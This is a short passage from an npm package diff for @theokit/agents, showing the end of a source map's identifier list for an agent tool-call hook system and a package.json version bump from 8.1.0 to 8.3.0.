gentError","name","code","isRetryable","parseHookSpecs","input","parsed","array","safeParse","success","error","issues","map","issue","path","join","data","IGNORE_WARNING","undefined","buildHookHandlers","specs","options","warn","onWarn","trusted","length","String","fingerprintOf","fingerprint","hookFingerprint","runnable","filter","spec","approved","has","identityOf","handlers","chainBudgetMs","Math","max","CHAIN_BUDGET_MULTIPLIER","preHooks","pre_tool_call","ctx","started","Date","now","onVeto","tool","reason","block","matches","result","runHookCommand","cwd","timeoutMs","stdin","JSON","stringify","args","env","exitCode","fenceHookOutput","stdout","stderr","postHooks","post_tool_call","truncated","toolName","RegExp","output","nonce","randomBytes","toString","open","close","escaped","replaceAll","replace"]}

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@theokit/agents",
-  "version": "8.1.0",
+  "version": "8.3.0",
   "description": "AI agents as first-class citizens of the TheoKit pipeline. The fluent agent()/tool() builders compile to SDK Agent.create() (M31 builder-only authoring API).",
   "license": "Apache-2.0",
   "type": "module",